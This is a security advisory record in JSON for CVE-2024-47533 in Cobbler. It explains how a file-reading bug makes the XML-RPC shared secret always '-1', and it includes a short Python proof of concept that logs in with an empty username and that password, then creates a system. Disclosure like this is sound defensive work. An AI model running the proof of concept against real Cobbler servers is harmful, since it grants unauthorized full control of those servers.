CVE-2024-47533: Cobbler Cobbler Allows Anyone To Connect Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m26c-fcgh-cp6h",
  "modified" : "2024-11-18T20:00:56Z",
  "published" : "2024-11-18T20:00:56Z",
  "aliases" : [ "CVE-2024-47533" ],
  "summary" : "cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes",
  "details" : "### Summary\n\nutils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.\n\n### Details\nutils.py get_shared_secret:\n```\ndef get_shared_secret() -> Union[str, int]:\n    \"\"\"\n    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange\n    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.\n    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.\n\n    :return: The Cobbler secret which enables full access to Cobbler.\n    \"\"\"\n\n    try:\n        with open(\"/var/lib/cobbler/web.ss\", 'rb', encoding='utf-8') as fd:\n            data = fd.read()\n    except:\n        return -1\n    return str(data).strip()\n```\nAlways returns `-1` because of the following exception:\n```\nbinary mode doesn't take an encoding argument\n```\n\nThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.\n\n### PoC\n```\n#!/usr/bin/python3\n\nimport ssl\nimport xmlrpc.client\n\nparams = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }\nssl_context = ssl._create_unverified_context()\n\nurl = '{proto}://{host}:{port}/cobbler_api'.format(**params)\nif ssl_context:\n    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)\nelse:\n    conn = xmlrpc.client.Server(url)\n\ntry:\n    token = conn.login(params['username'], params['password'])\nexcept xmlrpc.client.Fault as e:\n    print(\"Failed to log in to Cobbler '{url}' as '{username}'. {error}\".format(url=url, error=e, **params))\nexcept Exception as e:\n    print(\"Connection to '{url}' failed. {error}\".format(url=url, error=e, **params))\n\nprint(\"Login success!\")\n\nsystem_id = conn.new_system(token)\n```\n\n\n### Impact\nThis gives anyone with network access to a cobbler server full control of the server.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "cobbler"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.3.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "cobbler"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.2.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-47533"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cobbler/cobbler"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-18T20:00:56Z",
    "nvd_published_at" : "2024-11-18T17:15:11Z"
  }
}